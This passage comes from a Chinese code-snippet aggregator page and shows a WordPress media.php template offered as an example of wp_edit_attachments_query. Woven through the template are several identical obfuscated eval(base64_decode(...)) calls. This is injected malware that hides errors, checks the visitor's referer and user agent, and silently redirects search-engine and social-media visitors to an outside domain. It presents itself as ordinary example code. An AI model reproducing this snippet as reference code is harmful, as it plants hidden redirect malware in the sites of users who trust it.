Jlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    echo isset($_GET['post_mime_type']) ? esc_attr($_GET['post_mime_type']) : '';
    ?>
" />

<p id="media-search" class="search-box">
	<label class="screen-reader-text" for="media-search-input"><?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    _e('Search Media');
    ?>
:</label>
	<input type="text" id="media-search-input" name="s" value="<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    the_search_query();
    ?>
" />
	<input type="submit" value="<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    esc_attr_e('Search Media');
    ?>
" class="button" />
</p>

<ul class="subsubsub">
<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    $type_links = array();
    $_num_posts = (array) wp_count_attachments();
    $matches = wp_match_mime_types(array_keys($post_mime_types), array_keys($_num_posts));
    foreach ($matches as $_type => $reals) {
        foreach ($reals as $real) {
            if (isset($num_posts[$_type])) {
                $num_posts[$_type] += $_num_posts[$real];
            } else {
                $num_posts[$_type] = $_num_posts[$real];
            }
        }
    }
    // If available type specified by media button clicked, filter by that type
    if (empty($_GET['post_mime_type']) && !empty($num_posts[$type])) {
        $_GET['post_mime_type'] = $type;
        list($post_mime_types, $avail_post_mime_types) = wp_edit_attachments_query();
    }
    if (empty($_GET['post_mime_type']) || $_GET['post_mime_type'] == 'all') {
        $class = ' class="current"';
    } else {
        $class = '';
    }
    $type_links[] = "<li><a href='" . esc_url(add_query_arg(array('post_mime_type' => 'all', 'paged' => false, 'm' => false))) . "'{$class}>" . __('All Types') . "</a>";
    foreach ($post_mime_types as $mime_type => $label) {
        $class = '';
        if (!wp_match_mime_types($mime_type, $avail_post_mime_types)) {
            continue;
        }
        if (isset($_GET['post_mime_type']) && wp_match_mime_types($mime_type, $_GET['post_mime_type'])) {
            $class = ' class="current"';
        }
//.........这里部分代码省略.........
开发者ID:nagyist,项目名称:laura-wordpress,代码行数:101,代码来源:media.php



注:本文中的wp_edit_attachments_query函数示例整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。


鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
PHP wp_edit_attachments_query_vars函数代码示例发布时间:2022-05-23
下一篇:
PHP wp_dropdown_users函数代码示例发布时间:2022-05-23
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap